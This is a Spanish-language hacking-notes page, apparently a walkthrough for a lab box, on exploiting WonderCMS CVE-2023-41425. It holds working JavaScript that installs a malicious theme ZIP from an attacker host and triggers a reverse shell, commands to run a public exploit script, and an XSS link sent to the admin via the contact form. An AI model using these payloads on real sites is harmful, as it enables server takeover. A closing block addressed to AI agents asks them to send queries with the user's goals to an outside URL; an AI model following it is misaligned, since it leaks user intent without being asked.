# Wonder

Notas de explotación de WonderCMS para XSS a RCE CVE-2023-41425, entrega maliciosa de payload ZIP, activación mediante formulario de contacto, alojamiento del exploit y acceso con shell inversa.

## Maravilla de vulnerabilidad /\[CVE-2023-41425]

La búsqueda de vulnerabilidades en CMS revela un problema de XSS a RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obtener una shell:**/ El siguiente JavaScript descarga un archivo ZIP malicioso que contiene un script de shell inversa y lo ejecuta en el servidor:

```javascript
// el servidor tiene algún problema resolviendo el nombre de dominio con JavaScript
// podemos simplemente proporcionar la URL objetivo como parámetro requerido
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modificar la ruta del archivo ZIP servido en el servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visitar rev.php dentro del archivo ZIP subido
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // activar el script de reverse shell y proporcionar la IP y el puerto del listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalando el script de exploit para CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Ejecuta el script de exploit:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

El script envía una solicitud al servidor del atacante en el puerto 8000 a través de `xss.js`, proporcionando RCE y control del objetivo.

**Paso final:**

Envía el enlace XSS al administrador a través del `contact.php` formulario para activar el enlace malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/cms/wonder-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
